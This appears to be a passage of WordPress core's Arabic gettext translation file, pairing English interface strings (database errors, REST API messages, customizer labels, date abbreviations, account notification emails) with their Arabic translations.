msgid "This means that the contact with the database server at %s was lost. This could mean your host&#8217;s database server is down."
msgstr "هذا يعني أننا قد فقدنا الإتصال بخادم قاعدة البيانات على %s. وهذا قد يعني أن الخادم المُضيف لقاعدة البيانات قد تعطّل."

#: wp-includes/class-wpdb.php:2239
msgid "Are you sure the database server is not under particularly heavy load?"
msgstr "هل أنت متأكد أن خادم قاعدة البيانات ليس تحت ضغط ثقيل؟"

#. translators: %s: Support forums URL.
#: wp-includes/class-wpdb.php:2084 wp-includes/class-wpdb.php:2244
#: wp-includes/load.php:179
msgid "If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href=\"%s\">WordPress support forums</a>."
msgstr "إن لم تكن متأكدًا من ما تعنيه هذه المصطلحات فلربما عليك مراسلة المُضيف، إذا احتجت لأي مساعدة يمكنك دائمًا زيارة <a href=\"%s\">منتديات الدعم الفني لووردبريس</a>."

#: wp-includes/class-wpdb.php:2077
msgid "Are you sure you have the correct username and password?"
msgstr "هل أنت متأكد أنك تملك اسم المستخدم وكلمة المرور الصحيحين؟"

#. translators: 1: wp-config.php, 2: Database host.
#: wp-includes/class-wpdb.php:2071
msgid "This either means that the username and password information in your %1$s file is incorrect or that contact with the database server at %2$s could not be established. This could mean your host&#8217;s database server is down."
msgstr "إما أن يعني هذا أن اسم المستخدم وكلمة المرور الموجودان في ملف %1$s غير صحيحين أو أننا لا نستطيع الإتصال بخادم قاعدة البيانات على %2$s. وهذا قد يعني أن الخادم المُضيف لقاعدة البيانات متوقف."

#. translators: %s: Support forums URL.
#: wp-includes/class-wpdb.php:1270
msgid "If you do not know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href=\"%s\">WordPress support forums</a>."
msgstr "إذا كنت لا تعرف كيف تنشئ قاعدة بيانات فعليك <strong>مُراسلة مُضيفك</strong>. إذا فشلت كل محاولاتك فابحث عن مساعدة في <a href=\"%s\">منتديات الدعم الفني لووردبريس</a>."

#: wp-includes/class-wpdb.php:1251
msgid "Are you sure it exists?"
msgstr "هل أنت متأكد أنها موجودة؟"

#. translators: 1: Database user, 2: Database name.
#: wp-includes/class-wpdb.php:1255
msgid "Does the user %1$s have permission to use the %2$s database?"
msgstr "هل المستخدم %1$s لديه صلاحية استخدام قاعدة البيانات %2$s؟"

#. translators: %s: Database name.
#: wp-includes/class-wpdb.php:1262
msgid "On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?"
msgstr "على بعض الأنظمة اسم قاعدة البيانات يبدأ باسم المستخدم الخاص بك،  لذلك قد يبدو الاسم مثل <code>username_%1$s</code>. هل يمكن أن تكون هذه هي المشكلة؟"

#: wp-includes/widgets/class-wp-widget-tag-cloud.php:165
msgid "The tag cloud will not be displayed since there are no taxonomies that support the tag cloud widget."
msgstr "سحابة الوسوم لن يتم عرضها حين لا توجد فئات تدعم ودجت سحابة الوسوم."

#: wp-includes/user.php:2165
msgid "Nicename may not be longer than 50 characters."
msgstr "الاسم اللطيف لا يجوز أن يحتوي على أكثر من 50 حرفًا."

#. translators: %s: User name.
#: wp-includes/user.php:190
msgid "<strong>Error:</strong> The password you entered for the username %s is incorrect."
msgstr "<strong>خطأ:</strong> كلمة المرور التي أدخلتها لاسم المستخدم %s غير صحيحة."

#: wp-includes/class-wp-taxonomy.php:635
msgid "Categories list"
msgstr "قائمة التصنيفات"

#: wp-includes/class-wp-taxonomy.php:635
msgid "Tags list"
msgstr "قائمة الوسوم"

#: wp-includes/class-wp-taxonomy.php:634
msgid "Categories list navigation"
msgstr "تصفّح قائمة التصنيفات"

#: wp-includes/class-wp-taxonomy.php:634
msgid "Tags list navigation"
msgstr "تصفّح قائمة الوسوم"

#. translators: 1: Function name, 2: WordPress version number, 3: Error
#. message.
#. translators: Developer debugging message. 1: PHP function name, 2: WordPress
#. version number, 3: Explanatory message.
#: wp-includes/rest-api.php:679 wp-includes/rest-api.php:704
msgid "%1$s (since %2$s; %3$s)"
msgstr "%1$s (منذ %2$s; %3$s)"

#. translators: 1: Function name, 2: WordPress version number.
#: wp-includes/rest-api.php:658 wp-includes/rest-api.php:682
msgid "%1$s (since %2$s; no alternative available)"
msgstr "%1$s (منذ %2$s; لا بديل متاح)"

#: wp-includes/shortcodes.php:69
msgid "Invalid shortcode name: Empty name given."
msgstr "اسم الكود القصير غير صالح: المُعطى اسم فارغ."

#. translators: 1: Shortcode name, 2: Space-separated list of reserved
#. characters.
#: wp-includes/shortcodes.php:80
msgid "Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s"
msgstr "اسم الكود القصير الغير صالح: %1$s. لا تستخدم فراغات أو أحرف محجوزة: %2$s"

#: wp-includes/rest-api/class-wp-rest-server.php:1393
msgid "The specified namespace could not be found."
msgstr "تعذر العثور على مساحة التسمية (namespace) المحددة."

#. translators: 1: Function name, 2: WordPress version number, 3: New function
#. name.
#: wp-includes/rest-api.php:655
msgid "%1$s (since %2$s; use %3$s instead)"
msgstr "%1$s (منذ %2$s; استخدم %3$s بدلاً عنها)"

#: wp-includes/rest-api/class-wp-rest-server.php:1109
msgid "No route was found matching the URL and request method."
msgstr "لم يتم العثور على مسار يتوافق مع الرابط URL وطريقة الطلب."

#: wp-includes/rest-api/class-wp-rest-server.php:1716
msgid "The handler for the route is invalid"
msgstr "الـ handler المتعلق بالمسار غير صالح"

#: wp-includes/rest-api/class-wp-rest-server.php:402
msgid "JSONP support is disabled on this site."
msgstr "دعم JSONP مُعطل في هذا الموقع."

#. translators: 1: pre_get_posts, 2: WP_Query->is_main_query(), 3:
#. is_main_query(), 4: Documentation URL.
#: wp-includes/query.php:915
msgid "In %1$s, use the %2$s method, not the %3$s function. See %4$s."
msgstr "في %1$s، استخدم الطريقة %2$s، وليس الدالة %3$s. شاهد %4$s."

#. translators: %s: List of required parameters.
#: wp-includes/rest-api/class-wp-rest-request.php:889
msgid "Missing parameter(s): %s"
msgstr "مُعاملات مفقودة: %s"

#. translators: %s: List of invalid parameters.
#: wp-includes/rest-api/class-wp-rest-request.php:846
#: wp-includes/rest-api/class-wp-rest-request.php:928
msgid "Invalid parameter(s): %s"
msgstr "مُعاملات غير صالحة: %s"

#: wp-includes/class-wp-post-type.php:854
msgid "Pages list navigation"
msgstr "تصفّح قائمة الصفحات"

#: wp-includes/class-wp-post-type.php:855
msgid "Posts list"
msgstr "قائمة المقالات"

#: wp-includes/class-wp-post-type.php:855
msgid "Pages list"
msgstr "قائمة الصفحات"

#: wp-includes/class-wp-post-type.php:844
msgid "Post Archives"
msgstr "أرشيف المقالة"

#: wp-includes/class-wp-post-type.php:852
msgid "Filter posts list"
msgstr "تصفية قائمة المقالات"

#: wp-includes/class-wp-post-type.php:852
msgid "Filter pages list"
msgstr "تصفية قائمة الصفحات"

#: wp-includes/class-wp-post-type.php:854
msgid "Posts list navigation"
msgstr "تصفّح قائمة المقالات"

#: wp-includes/class-wp-post-type.php:844
msgid "Page Archives"
msgstr "أرشيفات الصفحة"

#: wp-includes/class-wp-customize-nav-menus.php:198
#: wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:320
#: wp-includes/nav-menu.php:881
msgid "Post Type Archive"
msgstr "أرشيف نوع المقالة"

#: wp-includes/ms-functions.php:480 wp-includes/ms-functions.php:487
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1277
#: wp-includes/user.php:2140
msgid "Sorry, that username is not allowed."
msgstr "عفوًا، ذلك المستخدم غير مسموح له."

#: wp-includes/ms-functions.php:649
msgid "Site names can only contain lowercase letters (a-z) and numbers."
msgstr "أسماء المواقع يمكنها أن تحتوي فقط على حروف أبجدية إنجليزية صغيرة (a-z) وأرقام."

#. translators: %s: Playlist item title.
#: wp-includes/media.php:2644 wp-includes/media.php:2665
msgctxt "playlist item title"
msgid "&#8220;%s&#8221;"
msgstr "&#8220;%s&#8221;"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:213
msgctxt "November abbreviation"
msgid "Nov"
msgstr "نوفمبر"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:214
msgctxt "December abbreviation"
msgid "Dec"
msgstr "ديسمبر"

#: wp-includes/ms-functions.php:464
msgid "Usernames can only contain lowercase letters (a-z) and numbers."
msgstr "اسم المستخدم يمكن أن يحتوي فقط على أحرف صغيرة (a-z) وأرقام."

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:209
msgctxt "July abbreviation"
msgid "Jul"
msgstr "يوليو"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:210
msgctxt "August abbreviation"
msgid "Aug"
msgstr "أغسطس"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:211
msgctxt "September abbreviation"
msgid "Sep"
msgstr "سبتمبر"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:212
msgctxt "October abbreviation"
msgid "Oct"
msgstr "أكتوبر"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:203
msgctxt "January abbreviation"
msgid "Jan"
msgstr "يناير"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:204
msgctxt "February abbreviation"
msgid "Feb"
msgstr "فبراير"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:205
msgctxt "March abbreviation"
msgid "Mar"
msgstr "مارس"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:206
msgctxt "April abbreviation"
msgid "Apr"
msgstr "أبريل"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:207
msgctxt "May abbreviation"
msgid "May"
msgstr "مايو"

#. translators: Three-letter abbreviation of the month.
#: wp-includes/class-wp-locale.php:208
msgctxt "June abbreviation"
msgid "Jun"
msgstr "يونيو"

#. translators: One-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:161
msgctxt "Thursday initial"
msgid "T"
msgstr "خ"

#. translators: One-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:162
msgctxt "Friday initial"
msgid "F"
msgstr "ج"

#. translators: One-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:163
msgctxt "Saturday initial"
msgid "S"
msgstr "س"

#. translators: One-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:160
msgctxt "Wednesday initial"
msgid "W"
msgstr "أرب"

#. translators: One-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:159
msgctxt "Tuesday initial"
msgid "T"
msgstr "ث"

#. translators: One-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:157
msgctxt "Sunday initial"
msgid "S"
msgstr "د"

#. translators: One-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:158
msgctxt "Monday initial"
msgid "M"
msgstr "ن"

#: wp-includes/link-template.php:3280
msgid "Newer comments"
msgstr "التعليقات الأحدث"

#: wp-includes/link-template.php:3279
msgid "Older comments"
msgstr "التعليقات الأقدم"

#. translators: Post calendar label. %s: Date.
#: wp-includes/general-template.php:2386
msgid "Posts published on %s"
msgstr "مقالات نُشرت بتاريخ %s"

#: wp-includes/embed.php:1183
msgid "Copy and paste this code into your site to embed"
msgstr "انسخ والصق هذا الكود إلى موقعك لتضمينه"

#: wp-includes/embed.php:1188
msgid "Close sharing dialog"
msgstr "إغلاق نافذة المشاركة"

#. translators: %s: 'document_title_separator' filter name.
#: wp-includes/feed.php:106 wp-includes/feed.php:132
msgid "Use the %s filter instead."
msgstr "استخدم خُطاف الترشيح %s كبديل."

#: wp-includes/embed.php:1169
msgid "HTML Embed"
msgstr "تضمين HTML"

#: wp-includes/embed.php:1166
msgid "WordPress Embed"
msgstr "تضمين ووردبريس"

#: wp-includes/embed.php:1176
msgid "Copy and paste this URL into your WordPress site to embed"
msgstr "انسخ والصق هذا الرابط إلى موقع الووردبريس الخاص بك لتضمينه"

#: wp-includes/embed.php:1138
msgid "Open sharing dialog"
msgstr "فتح نافذة المشاركة"

#. translators: %s: Number of comments.
#: wp-includes/embed.php:1114
msgid "%s <span class=\"screen-reader-text\">Comment</span>"
msgid_plural "%s <span class=\"screen-reader-text\">Comments</span>"
msgstr[0] "%s <span class=\"screen-reader-text\">لا تعليق</span>"
msgstr[1] "%s <span class=\"screen-reader-text\">تعليق واحد</span>"
msgstr[2] "%s <span class=\"screen-reader-text\">تعليقان</span>"
msgstr[3] "%s <span class=\"screen-reader-text\">تعليقات</span>"
msgstr[4] "%s <span class=\"screen-reader-text\">تعليق</span>"
msgstr[5] "%s <span class=\"screen-reader-text\">تعليق</span>"

#: wp-includes/blocks/read-more.php:37
#: wp-includes/js/dist/block-library.js:25726
#: wp-includes/js/dist/block-library.js:29817
#: wp-includes/js/dist/block-library.js:46087
msgid "Read more"
msgstr "قراءة المزيد"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-widget-area-customize-control.php:66
msgid "When in reorder mode, additional controls to reorder widgets will be available in the widgets list above."
msgstr "عندما تكون في وضع إعادة الترتيب، أدوات تحكم إضافية لترتيب الودجات سوف تكون مُتاحة في قائمة الودجات أعلاه."

#: wp-includes/class-wp-xmlrpc-server.php:3599
#: wp-includes/class-wp-xmlrpc-server.php:3804
msgid "Sorry, you are not allowed to moderate or edit this comment."
msgstr "عذرًا، غير مسموح لك بإدارة أو تحرير هذا التعليق."

#: wp-includes/class-wp-customize-widgets.php:813
#: wp-includes/customize/class-wp-widget-area-customize-control.php:59
msgid "Reorder widgets"
msgstr "إعادة ترتيب الودجات"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-section.php:363
#: wp-admin/includes/template.php:1571
msgid "Press return or enter to open this section"
msgstr "اضغط زر الإدخال (Enter) لفتح هذا القسم"

#. translators: %s: Document title from the preview.
#: wp-includes/class-wp-customize-manager.php:4577
msgid "Live Preview: %s"
msgstr "معاينة حيّة: %s"

#: wp-includes/class-wp-customize-manager.php:581
#: wp-admin/includes/ajax-actions.php:4380 wp-admin/includes/file.php:441
#: wp-admin/includes/file.php:451 wp-admin/theme-editor.php:70
#: wp-admin/theme-editor.php:74 wp-admin/themes.php:28 wp-admin/themes.php:71
msgid "The requested theme does not exist."
msgstr "القالب المطلوب غير موجود."

#. translators: 1: "type => link", 2: "taxonomy => link_category"
#. translators: 1: caller_get_posts, 2: ignore_sticky_posts
#. translators: 1: who, 2: capability
#: wp-includes/category-template.php:379 wp-includes/category.php:47
#: wp-includes/class-wp-query.php:1918 wp-includes/class-wp-user-query.php:399
msgid "%1$s is deprecated. Use %2$s instead."
msgstr "%1$s قد تم هجره. استخدم %2$s كبديل."

#: wp-includes/class-wp-customize-manager.php:571 wp-admin/nav-menus.php:26
#: wp-admin/site-editor.php:17 wp-admin/themes.php:15 wp-admin/widgets.php:18
msgid "Sorry, you are not allowed to edit theme options on this site."
msgstr "عذرًا، غير مسموح لك بتحرير خيارات القالب على هذا الموقع."

#. translators: 1: Post type, 2: Capability name.
#: wp-includes/capabilities.php:114 wp-includes/capabilities.php:215
#: wp-includes/capabilities.php:314 wp-includes/capabilities.php:395
msgid "The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type."
msgstr "نوع المحتوى %1$s غير مُسجل، لذلك لا يمكن الإعتماد عليه في التحقق من الصلاحية %2$s على محتوى من هذا النوع."

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-nav-menus.php:1185
#: wp-includes/class-wp-customize-widgets.php:923
msgid "Clear Results"
msgstr "حذف النتائج"

#: wp-includes/class-wp-editor.php:1415
msgid "The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo."
msgstr "اختصارات التنسيق التالية سيتم استبدالها عند الضغط على زر الإدخال Enter. للتراجع اضغط على زر الهروب Escape أو زر التراجع Undo."

#. translators: %s: Title of a section with menu items.
#: wp-includes/class-wp-customize-nav-menus.php:1236
msgid "Toggle section: %s"
msgstr "تبديل قسم: %s"

#. translators: 1: Title of a menu item, 2: Type of a menu item.
#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:83
msgid "Remove Menu Item: %1$s (%2$s)"
msgstr "إزالة عنصر القائمة: %1$s (%2$s)"

#. translators: 1: Title of a menu item, 2: Type of a menu item.
#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:77
msgid "Edit menu item: %1$s (%2$s)"
msgstr "تحرير عنصر القائمة: %1$s (%2$s)"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-nav-menus.php:1273
msgid "Toggle section: Custom Links"
msgstr "تبديل قسم: روابط مخصصة"

#: wp-login.php:971 wp-admin/install.php:144 wp-admin/user-edit.php:649
#: wp-admin/user-new.php:576 wp-admin/js/user-profile.js:81
msgid "Hide password"
msgstr "إخفاء كلمة المرور"

#: wp-login.php:1435 wp-admin/js/user-profile.js:81
msgid "Show password"
msgstr "عرض كلمة المرور"

#: wp-includes/class-wp-customize-nav-menus.php:513 wp-admin/nav-menus.php:1011
msgid "Menu Name"
msgstr "اسم القائمة"

#: wp-includes/customize/class-wp-customize-site-icon-control.php:73
#: wp-includes/media-template.php:1544
msgid "Preview as an app icon"
msgstr "معاينة كأيقونة تطبيق"

#: wp-includes/media-template.php:1532
msgid "As a browser icon"
msgstr "كأيقونة متصفح"

#: wp-includes/customize/class-wp-customize-site-icon-control.php:69
#: wp-includes/media-template.php:1537
msgid "Preview as a browser icon"
msgstr "معاينة كأيقونة متصفح"

#: wp-includes/media-template.php:1542
msgid "As an app icon"
msgstr "كأيقونة تطبيق"

#: wp-includes/class-wp-customize-nav-menus.php:1231
msgid "No items"
msgstr "لا توجد عناصر"

#: wp-login.php:1105
msgid "Registration confirmation will be emailed to you."
msgstr "تأكيد التسجيل سيتم إرساله إلى بريدك الإلكترونى."

#: wp-includes/script-loader.php:1164
msgctxt "password mismatch"
msgid "Mismatch"
msgstr "غير متطابقة"

#: wp-includes/script-loader.php:1161
msgctxt "password strength"
msgid "Weak"
msgstr "ضعيفة"

#: wp-includes/script-loader.php:1163
msgctxt "password strength"
msgid "Strong"
msgstr "قوية"

#: wp-includes/script-loader.php:1160
msgctxt "password strength"
msgid "Very weak"
msgstr "ضعيفة جدًا"

#: wp-includes/customize/class-wp-customize-header-image-control.php:249
msgid "Hide header image"
msgstr "إخفاء صورة الترويسة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:250
msgid "Add new header image"
msgstr "أضف صورة ترويسة جديدة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:249
msgid "Hide image"
msgstr "إخفاء الصورة"

#: wp-includes/customize/class-wp-customize-header-image-control.php:250
msgid "Add new image"
msgstr "إضافة صورة جديدة"

#: wp-includes/class-wp-customize-manager.php:5192
#: wp-includes/js/dist/edit-post.js:5448 wp-includes/js/dist/edit-site.js:17300
#: wp-includes/js/dist/editor.js:10863 wp-admin/includes/template.php:2442
msgid "Site Icon"
msgstr "أيقونة الموقع"

#: wp-includes/class-wp-customize-manager.php:5117
msgid "Site Identity"
msgstr "هوية الموقع"

#. translators: Hidden accessibility text. 1: Title of a menu item, 2: Type of
#. a menu item.
#: wp-includes/class-wp-customize-nav-menus.php:1080
msgid "Add to menu: %1$s (%2$s)"
msgstr "أضف للقائمة: %1$s (%2$s)"

#: wp-includes/class-wp-editor.php:1413
msgid "When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo."
msgstr "عندما تبدأ بفقرة جديدة بإستعمال اختصارات التنسيق متبوعًا بمسافة فإنّه سوف يتمّ تطبيق التنسيق بشكل تلقائي. اضغط ( Backspace ) أو ( Esc ) في لوحة المفاتيح للتراجع."

#: wp-includes/class-wpdb.php:1859 wp-includes/class-wpdb.php:1876
msgid "WordPress database error:"
msgstr "خطأ فى قاعدة بيانات ووردبريس:"

#: wp-includes/ms-functions.php:501 wp-includes/user.php:2123
msgid "Username may not be longer than 60 characters."
msgstr "اسم المستخدم لا يجوز أن يكون أطول من 60 حرفًا."

#: wp-includes/pluggable.php:2204
msgid "To set your password, visit the following address:"
msgstr "لتعيين كلمة مرورك، قم بزيارة العنوان التالى:"

#: wp-includes/customize/class-wp-customize-themes-panel.php:42
msgid "Active theme"
msgstr "القالب المفعّل"

#: wp-includes/class-wp-customize-nav-menus.php:536
#: wp-includes/customize/class-wp-customize-nav-menu-control.php:55
msgid "Reorder menu items"
msgstr "أعد ترتيب عناصر القائمة"

#: wp-includes/customize/class-wp-customize-nav-menu-control.php:52
msgid "Add or remove menu items"
msgstr "إضافة أو إزالة عناصر من القائمة"

#: wp-includes/customize/class-wp-customize-themes-panel.php:44
msgid "Previewing theme"
msgstr "معاينة قالب"

#: wp-includes/class-wp-customize-nav-menus.php:535
#: wp-includes/class-wp-customize-widgets.php:812
msgid "Reorder mode closed"
msgstr "تم إغلاق وضع إعادة الترتيب"

#: wp-includes/class-wp-customize-nav-menus.php:537
msgid "Close reorder mode"
msgstr "إغلاق وضع إعادة الترتيب"

#: wp-includes/class-wp-customize-nav-menus.php:506
#: wp-includes/customize/class-wp-customize-nav-menu-setting.php:440
msgctxt "Missing menu name."
msgid "(unnamed)"
msgstr "(غير مسمى)"

#. translators: 1: Original menu name, 2: Duplicate count.
#: wp-includes/customize/class-wp-customize-nav-menu-setting.php:522
msgid "%1$s (%2$d)"
msgstr "%1$s (%2$d)"

#: wp-includes/class-wp-customize-nav-menus.php:534
#: wp-includes/class-wp-customize-widgets.php:811
msgid "Reorder mode enabled"
msgstr "تم تمكين وضع إعادة الترتيب"

#: wp-includes/class-wp-customize-nav-menus.php:661
msgid "Menus can be displayed in locations defined by your theme."
msgstr "القوائم يمكن أن يتم عرضها في المواقع المعرفة بواسطة القالب."

#. translators: 1: PHP class name, 2: Version number, 3: __construct() method.
#: wp-includes/functions.php:5512
msgid "The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead."
msgstr "استدعاء البُنية لـ %1$s <strong>قد تمّ الإستغناء عنها</strong> منذُ الإصدار %2$s استخدم %3$s بدلاً منها."

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-nav-menu-control.php:63
msgid "When in reorder mode, additional controls to reorder menu items will be available in the items list above."
msgstr "عندما تكون في وضع إعادة ترتيب العناصر للقائمة، فإنّ العناصر الإضافية ستكون متوفرة في القائمة بالأعلى."

#. translators: %s: URL to the Widgets panel of the Customizer.
#: wp-includes/class-wp-customize-nav-menus.php:657
msgid "Menus can be displayed in locations defined by your theme or in <a href=\"%s\">widget areas</a> by adding a &#8220;Navigation Menu&#8221; widget."
msgstr "يمكنك عرض القوائم في الأماكن المعرّفة بالقالب أو عبر <a href=\"%s\">منطقة الودجات</a> من خلال إضافة ودجت قائمة مخصصة."

#: wp-includes/class-wp-editor.php:1148
msgctxt "HTML tag"
msgid "Preformatted"
msgstr "مهيأ مسبقاً"

#. translators: Do not translate USERNAME, ADMIN_EMAIL, NEW_EMAIL, EMAIL,
#. SITENAME, SITEURL: those are placeholders.
#: wp-includes/user.php:2655
msgid ""
"Hi ###USERNAME###,\n"
"\n"
"This notice confirms that your email address on ###SITENAME### was changed to ###NEW_EMAIL###.\n"
"\n"
"If you did not change your email, please contact the Site Administrator at\n"
"###ADMIN_EMAIL###\n"
"\n"
"This email has been sent to ###EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحبًا ###USERNAME###،\n"
"\n"
"يؤكد لك هذا الإشعار أن بريدك الإلكتروني على ###SITENAME### تمّ تغييره إلى ###NEW_EMAIL###.\n"
"\n"
"إذا لم تقم أنت بتغيير عنوان البريد الإلكتروني، يرجى الاتصال بمدير الموقع على\n"
"###ADMIN_EMAIL###\n"
"\n"
"تم إرسال هذا البريد الإلكتروني لـ ###EMAIL###\n"
"\n"
"مع التحيّة،\n"
"###SITENAME###\n"
"###SITEURL###"

#. translators: Do not translate USERNAME, ADMIN_EMAIL, EMAIL, SITENAME,
#. SITEURL: those are placeholders.
#: wp-includes/user.php:2597
msgid ""
"Hi ###USERNAME###,\n"
"\n"
"This notice confirms that your password was changed on ###SITENAME###.\n"
"\n"
"If you did not change your password, please contact the Site Administrator at\n"
"###ADMIN_EMAIL###\n"
"\n"
"This email has been sent to ###EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحبًا ###USERNAME###،\n"
"\n"
"\n"
"هذا الإشعار يؤكد بأن كلمة مرورك تم تغييرها على ###SITENAME###.\n"
"\n"
"إذا لم تقم بتغيير كلمة مرورك، يرجى الاتصال بمدير الموقع على\n"
"###ADMIN_EMAIL###\n"
"\n"
"تم إرسال هذا البريد الإلكتروني لـ ###EMAIL###\n"
"\n"
"مع التحيّة،\n"
"###SITENAME###\n"
"###SITEURL###"

#: wp-includes/class-wp-taxonomy.php:632
msgid "No tags"
msgstr "لا أوسمة"

#: wp-includes/script-loader.php:749
msgid "List item"
msgstr "عنصر القائمة"

#: wp-includes/script-loader.php:750
msgid "Close list item tag"
msgstr "إغلاق وسم عنصر القائمة"

#. translators: %s: Shortcode tag.
#: wp-includes/shortcodes.php:329
msgid "Attempting to parse a shortcode without a valid callback: %s"
msgstr "محاولة تحليل كود قصير دون رد نداء صحيح: %s"

#: wp-includes/script-loader.php:742
msgid "Inserted text"
msgstr "نص مدرج"

#: wp-includes/script-loader.php:752
msgid "Close code tag"
msgstr "إغلاق وسم الشفرة"

#: wp-includes/script-loader.php:743
msgid "Close inserted text tag"
msgstr "إغلاق وسم النص المدرج"

#: wp-includes/script-loader.php:746
msgid "Close bulleted list tag"
msgstr "إغلاق وسم القائمة النقطية"

#: wp-includes/script-loader.php:748
msgid "Close numbered list tag"
msgstr "إغلاق وسم القائمة المرقّمة"

#: wp-includes/script-loader.php:739
msgid "Close blockquote tag"
msgstr "إغلاق وسم الإفتباس"

#: wp-includes/script-loader.php:741
msgid "Close deleted text tag"
msgstr "إغلاق وسم النص المحذوف"

#: wp-includes/script-loader.php:740
msgid "Deleted text (strikethrough)"
msgstr "نص محذوف (يتوسطه خط)"

#: wp-includes/script-loader.php:736
msgid "Close italic tag"
msgstr "إغلاق وسم النص المائل"

#: wp-includes/script-loader.php:734
msgid "Close bold tag"
msgstr "إغلاق وسم النص العريض"

#: wp-includes/media-template.php:1480
msgctxt "media"
msgid "Remove video track"
msgstr "إزالة مسار الفيديو"

#: wp-includes/media-template.php:1433
msgid "Remove poster image"
msgstr "إزالة صورة الملصق"

#: wp-includes/media-template.php:1396 wp-includes/media-template.php:1410
msgid "Remove video source"
msgstr "إزالة مصدر الفيديو"

#: wp-includes/media-template.php:1305 wp-includes/media-template.php:1320
msgid "Remove audio source"
msgstr "إزالة مصدر الملف الصوتى"

#: wp-includes/formatting.php:129
msgctxt "Comma-separated list of replacement words in your language"
msgid "&#8217;tain&#8217;t,&#8217;twere,&#8217;twas,&#8217;tis,&#8217;twill,&#8217;til,&#8217;bout,&#8217;nuff,&#8217;round,&#8217;cause,&#8217;em"
msgstr "&#8217;tain&#8217;t,&#8217;twere,&#8217;twas,&#8217;tis,&#8217;twill,&#8217;til,&#8217;bout,&#8217;nuff,&#8217;round,&#8217;cause,&#8217;em"

#: wp-includes/formatting.php:121
msgctxt "Comma-separated list of words to texturize in your language"
msgid "'tain't,'twere,'twas,'tis,'twill,'til,'bout,'nuff,'round,'cause,'em"
msgstr "'tain't,'twere,'twas,'tis,'twill,'til,'bout,'nuff,'round,'cause,'em"

#. translators: Hidden accessibility text.
#: wp-includes/widgets/class-wp-widget-custom-html.php:271
#: wp-includes/widgets/class-wp-widget-text.php:503
#: wp-includes/widgets/class-wp-widget-text.php:564
msgid "Content:"
msgstr "المحتوى"

#: wp-includes/class-wp-editor.php:1396
msgid "Default shortcuts,"
msgstr "الاختصارات الافتراضية،"

#: wp-includes/class-wp-editor.php:1403
msgid "Ctrl + Alt + letter:"
msgstr "Ctrl + Alt + حرف:"

#: wp-includes/class-wp-editor.php:1404
msgid "Shift + Alt + letter:"
msgstr "Shift + Alt + حرف:"

#: wp-includes/class-wp-editor.php:1405
msgid "Cmd + letter:"
msgstr "Cmd + حرف:"

#: wp-includes/class-wp-editor.php:1406
msgid "Ctrl + letter:"
msgstr "Ctrl + حرف:"

#: wp-includes/class-wp-editor.php:1397
msgid "Additional shortcuts,"
msgstr "الاختصارات الإضافية،"

#: wp-includes/class-wp-editor.php:1399
msgid "Inline toolbar (when an image, link or preview is selected)"
msgstr "شريط أدوات مضمن (عندما يتم تحديد صورة، رابط أو معاينة)"

#: wp-includes/class-wp-xmlrpc-server.php:664
msgid "Allow link notifications from other blogs (pingbacks and trackbacks) on new posts."
msgstr "السماح بإشعارات الربط من المدونات الأخرى (التنبيهات \"PingBacks\" والتعقيبات \"TrackBacks\") في المقالات الجديدة."

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:42
#: wp-includes/customize/class-wp-customize-nav-menus-panel.php:98
msgid "Menu Options"
msgstr "خيارات القائمة"

#: wp-includes/class-wp-customize-section.php:248
#: wp-includes/js/dist/customize-widgets.js:2530
msgid "Customizing"
msgstr "تخصيص"

#: wp-includes/class-wp-customize-nav-menus.php:1291
#: wp-admin/includes/nav-menu.php:311 wp-admin/includes/nav-menu.php:682
#: wp-admin/includes/nav-menu.php:919
msgid "Add to Menu"
msgstr "أضف للقائمة"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-nav-menus.php:1176
#: wp-includes/class-wp-customize-widgets.php:929
#: wp-includes/customize/class-wp-customize-themes-section.php:138
#: wp-includes/customize/class-wp-customize-themes-section.php:163
#: wp-admin/plugin-install.php:103 wp-admin/plugins.php:547
#: wp-admin/theme-install.php:113 wp-admin/themes.php:138
msgid "The search results will be updated as you type."
